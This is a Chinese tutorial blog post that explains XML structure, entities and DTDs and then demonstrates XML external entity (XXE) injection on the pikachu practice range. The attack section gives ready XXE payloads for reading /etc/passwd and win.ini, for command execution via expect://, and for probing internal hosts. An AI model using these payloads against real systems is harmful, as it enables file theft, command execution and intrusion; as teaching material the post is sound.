初探XML外部实体注入漏洞

   

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML和HTML对比
1、XML主要用来描述数据
2、HTML主要用来显示数据

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素 。

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

元素:

        元素指的就是XML中的标记,这种标记也被称为标签、节点。

        主要: XML标签大小敏感,根元素有且只有一个,成对出现。

属性:

        属性可提供有关元素的额外信息 。

        <元素名 属性名="属性值" 属性名='属性值'>        <img src="computer.gif" />

实体:

        实体是用来定义普通文本的变量实体引用是对实体的引用。

预定义实体:

实体       描述
&quot;双引号
&apos;单引号
&lt;小于,即<
&gt;大于,即>
&amp;&

自定义实体:

<!DOCTYPE 根元素名称[
	<!ENTITY 实体名 实体内容>
]>

                  自定义一般实体:            

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book SYSTEM "demo8.dtd"[
	<!ENTITY bj "北京大学出版社">
]>
<book>
	<detail>
		<name>XML</name>
		<author>李白</author>
		<publisher>&bj;</publisher>
		<price>22.5</price>
		<url>
			<![CDATA[
				<a href="#">链接1</a>
			]]>
		</url>
	</detail>
	<detail>
		<name>PHP</name>
		<author>杜甫</author>
		<publisher>&bj;</publisher>
		<price>22.5</price>
		<url>
			<![CDATA[
				<a href="#">链接2</a>
			]]>
		</url>
	</detail>

                    自定义参数实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roster  SYSTEM "demo11.dtd"[
	<!ENTITY % p "teacher">  <!-- 给参数赋值 -->
]>
<roster>
	<teacher id="s">
		<name></name>
		<sex></sex>
		<birthday></birthday>
		<skill></skill>
	</teacher>
</roster>

DTD(Document Type Definition,文档类型定义)

用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

PCDATA:

        是被解析的字符数据(parsed character data)。

        PCDATA 是会被解析器解析的文本。

        这些文本将被解析器检查实体以及标记。

        <age>zhoujielun age > chenguanxi age</age>

CDATA:

        是字符数据(character data)。

        CDATA 是不会被解析器解析的文本。

回归正题:

xml外部实体注入

XML解析依赖库libxml默认开启了对外部实体的引用(libxml<2.9 默认开启),导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。 

pikachu靶场复现

GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台

任意文件读取

libxml2

file、http、ftp

PHP

file、http、ftp、php、glob、data...

JAVA

file、http、ftp、https、jar、gopher...

.NET

file、http、ftp、https

判断是否存在漏洞:

<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY exist "存在漏洞" > ]> 
<a>&exist;</a>

漏洞构造方式:

1.外部实体声明,外部实体声明+外部DTD文件:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [  
<!ENTITY b SYSTEM "file:///c:/windows/win.ini"> ]> 
<a>&b;</a>

读取一些敏感目录,windows读取c:/windows/win.ini,linux读取 /etc/passwd

(file://协议只能用绝对路径)

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://127.0.0.1/test.dtd">
<c>&b;</c>

<!ENTITY b SYSTEM "file:///etc/passwd">

命令注入:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://cat /" >]>
<root>
<name>&xxe;</name>
</root>

内网探测,攻击:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

后续继续学习XEE......

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值